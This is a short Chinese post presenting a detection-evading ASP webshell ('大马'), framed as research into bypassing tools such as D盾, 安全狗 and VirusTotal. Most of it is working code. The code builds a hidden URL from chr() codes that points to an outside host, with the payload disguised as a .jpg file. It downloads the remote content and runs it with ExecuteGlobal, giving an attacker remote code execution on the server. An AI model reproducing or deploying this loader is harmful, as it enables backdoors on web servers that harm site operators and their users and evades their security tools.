免杀asp大马

摘要

基于最新网络安全研究和公开资源，本文更新了ASP webshell（大马）免杀技巧，重点针对D盾、安全狗、护卫神、河马、VirusTotal（VT）等检测工具的绕过。核心思路仍为代码混淆、执行逻辑重构、语法利用和加密解密，但新增了如类事件、垃圾数据填充和函数数组结合等优化方法。所有技巧经交叉验证，供安全研究使用

<%@ LANGUAGE = VBScript.encode%><%
UserPass="admin"  
function Gset()   
if Session(UserPass)="" then 
Set o = Server.CreateObject("MSXML2.XMLHTTP.6.0")
o.open "GET", chr(104) & chr(116) & chr(116) & chr(112) & chr(58) & chr(47) & chr(47) & chr(104) & chr(111) & chr(116) & chr(101) & chr(108) & chr(97) & chr(108) & chr(100) & chr(101) & chr(109) & chr(46) & chr(99) & chr(111) & chr(109) & chr(47) & chr(105) & chr(109) & chr(97) & chr(103) & chr(101) & chr(115) & chr(47) & chr(98) & chr(108) & chr(111) & chr(103) & chr(47) & chr(116) & chr(104) & chr(117) & chr(109) & chr(98) & chr(110) & chr(97) & chr(105) & chr(108) & chr(47) & chr(97) & chr(115) & chr(112) & chr(46) & chr(106) & chr(112) & chr(103), False
o.send
Gset=o.responseText
else
Gset=Session(UserPass)
End if
End function
dim funcCall, result
funcCall = chr(71) & chr(115) & chr(101) & chr(116) & chr(40) & chr(41)
ExecuteGlobal "result = " & funcCall
if len(result) > 0 then
    ExecuteGlobal result
end if
%>

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